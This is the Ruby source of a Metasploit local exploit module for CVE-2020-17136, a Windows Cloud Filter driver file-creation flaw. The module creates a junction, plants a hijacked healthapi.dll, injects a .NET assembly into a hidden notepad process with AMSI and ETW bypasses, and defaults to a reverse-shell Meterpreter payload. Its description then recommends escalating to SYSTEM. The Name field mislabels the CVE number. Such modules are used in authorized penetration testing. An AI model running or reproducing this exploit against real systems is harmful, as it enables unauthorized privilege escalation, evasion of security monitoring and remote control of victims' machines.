Path: blob/master/modules/exploits/windows/local/cve_2020_17136.rb
33650 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6include Exploit::EXE7include Msf::Post::File8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Version10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12include Msf::Post::Windows::Dotnet13include Msf::Post::Windows::Services14include Msf::Post::Windows::FileSystem15include Msf::Exploit::FileDropper16prepend Msf::Exploit::Remote::AutoCheck1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',23'Description' => %q{24The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December252020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when26calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()27function with attacker controlled input. This meant that files were created with28KernelMode permissions, thereby bypassing any security checks that would otherwise29prevent a normal user from being able to create files in directories30they don't have permissions to create files in.3132This module abuses this vulnerability to perform a DLL hijacking attack against the33Microsoft Storage Spaces SMP service, which grants the attacker code execution as the34NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one35of the Meterpreter payloads, as doing so will allow them to subsequently escalate their36new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command37to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.38},39'License' => MSF_LICENSE,40'Author' => [41'James Foreshaw', # Vulnerability discovery and PoC creator42'Grant Willcox' # Metasploit module43],44'Platform' => ['win'],45'SessionTypes' => ['meterpreter'],46'Privileged' => true,47'Targets' => [48[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],49],50'DefaultTarget' => 0,51'DisclosureDate' => '2020-03-10',52'References' => [53['CVE', '2020-17136'],54['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],55['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']56],57'Notes' => {58'SideEffects' => [ ARTIFACTS_ON_DISK ],59'Reliability' => [ REPEATABLE_SESSION ],60'Stability' => [ CRASH_SAFE ]61},62'DefaultOptions' => {63'EXITFUNC' => 'process',64'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'65},66'Compat' => {67'Meterpreter' => {68'Commands' => %w[69stdapi_sys_process_attach70stdapi_sys_process_execute71stdapi_sys_process_get_processes72stdapi_sys_process_getpid73stdapi_sys_process_kill74stdapi_sys_process_memory_allocate75stdapi_sys_process_memory_write76stdapi_sys_process_thread_create77]78}79}80)81)82register_options(83[84OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),85OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),86OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])87], self.class88)8990register_advanced_options(91[92OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])93]94)95end9697def check_requirements(clr_req, installed_dotnet_versions)98installed_dotnet_versions.each do |fi|99if clr_req == 'v4.0.30319'100if fi[0] == '4'101vprint_status('Requirements ok')102return true103end104elsif fi[0] == '3'105vprint_status('Requirements ok')106return true107end108end109print_error('Required dotnet version not present')110false111end112113def check114if session.platform != 'windows'115# Non-Windows systems are definitely not affected.116return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')117end118119version = get_version_info120121# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/122if version.build_number == Msf::WindowsVersion::Win10_20H2 && version.revision_number.between?(0, 684)123return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')124elsif version.build_number == Msf::WindowsVersion::Win10_2004 && version.revision_number.between?(0, 684)125return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')126elsif version.build_number == Msf::WindowsVersion::Win10_1909 && version.revision_number.between?(0, 1255)127return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')128elsif version.build_number == Msf::WindowsVersion::Win10_1903 && version.revision_number.between?(0, 1255)129return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')130elsif version.build_number == Msf::WindowsVersion::Win10_1809 && version.revision_number.between?(0, 1636)131return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')132elsif version.build_number == Msf::WindowsVersion::Win10_1803 && version.revision_number.between?(0, 1901)133return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')134else135return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')136end137end138139def exploit140if sysinfo['Architecture'] != ARCH_X64141fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')142elsif session.arch != ARCH_X64143fail_with(Failure::NoTarget, 'Sorry, WOW64 is not supported at this time!')144end145dir_junct_path = 'C:\\Windows\\Temp'146intermediate_dir = rand_text_alpha(10).to_s147junction_dir = rand_text_alpha(10).to_s148path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"149150mkdir(path_to_intermediate_dir.to_s)151if !directory?(path_to_intermediate_dir.to_s)152fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')153end154register_dir_for_cleanup(path_to_intermediate_dir.to_s)155156mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")157if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")158fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')159end160161mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')162if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")163fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')164end165166exe_path = ::File.expand_path(::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-17136', 'cloudFilterEOP.exe'))167unless File.file?(exe_path)168fail_with(Failure::BadConfig, 'Assembly not found')169end170installed_dotnet_versions = get_dotnet_versions171vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")172if installed_dotnet_versions == []173fail_with(Failure::BadConfig, 'Target has no .NET framework installed')174end175if check_requirements('v4.0.30319', installed_dotnet_versions) == false176fail_with(Failure::BadConfig, 'CLR required for assembly not installed')177end178payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"179print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")180write_file(payload_path, generate_payload_dll)181register_file_for_cleanup(payload_path)182execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")183service_start('smphost')184register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')185sleep(3)186delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)187end188189def pid_exists(pid)190mypid = client.sys.process.getpid.to_i191192if pid == mypid193print_bad('Cannot select the current process as the injection target')194return false195end196197host_processes = client.sys.process.get_processes198if host_processes.empty?199print_bad('No running processes found on the target host.')200return false201end202203theprocess = host_processes.find { |x| x['pid'] == pid }204205!theprocess.nil?206end207208def launch_process209process_name = 'notepad.exe'210print_status("Launching #{process_name} to host CLR...")211212process = client.sys.process.execute(process_name, nil, {213'Channelized' => true,214'Hidden' => true,215'UseThreadToken' => true,216'ParentPid' => 0217})218hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)219print_good("Process #{hprocess.pid} launched.")220[process, hprocess]221end222223def inject_hostclr_dll(process)224print_status("Reflectively injecting the Host DLL into #{process.pid}..")225226library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')227library_path = ::File.expand_path(library_path)228229print_status("Injecting Host into #{process.pid}...")230exploit_mem, offset = inject_dll_into_process(process, library_path)231[exploit_mem, offset]232end233234def execute_assembly(exe_path, exe_args)235if sysinfo.nil?236fail_with(Failure::BadConfig, 'Session invalid')237else238print_status("Running module against #{sysinfo['Computer']}")239end240if datastore['WAIT'].zero?241print_warning('Output unavailable as wait time is 0')242end243244process, hprocess = launch_process245exploit_mem, offset = inject_hostclr_dll(hprocess)246247assembly_mem = copy_assembly(exe_path, hprocess, exe_args)248249print_status('Executing...')250hprocess.thread.create(exploit_mem + offset, assembly_mem)251252if datastore['WAIT'].positive?253sleep(datastore['WAIT'])254read_output(process)255end256257if datastore['KILL']258print_good("Killing process #{hprocess.pid}")259client.sys.process.kill(hprocess.pid)260end261262print_good('Execution finished.')263end264265def copy_assembly(exe_path, process, exe_args)266print_status("Host injected. Copy assembly into #{process.pid}...")267int_param_size = 8268sign_flag_size = 1269amsi_flag_size = 1270etw_flag_size = 1271assembly_size = File.size(exe_path)272273cln_params = ''274cln_params << exe_args275cln_params << "\x00"276277payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size278payload_size += assembly_size + cln_params.length279assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)280params = [281assembly_size,282cln_params.length,283datastore['AMSIBYPASS'] ? 1 : 0,284datastore['ETWBYPASS'] ? 1 : 0,2852286].pack('IICCC')287params += cln_params288289process.memory.write(assembly_mem, params + File.read(exe_path, mode: 'rb'))290print_status('Assembly copied.')291assembly_mem292end293294def read_output(process)295print_status('Start reading output')296old_timeout = client.response_timeout297client.response_timeout = 5298299begin300loop do301output = process.channel.read302if !output.nil? && !output.empty?303output.split("\n").each { |x| print_good(x) }304end305break if output.nil? || output.empty?306end307rescue Rex::TimeoutError308vprint_warning('Time out exception: wait limit exceeded (5 sec)')309rescue ::StandardError => e310print_error("Exception: #{e.inspect}")311end312313client.response_timeout = old_timeout314print_status('End output.')315end316end317318319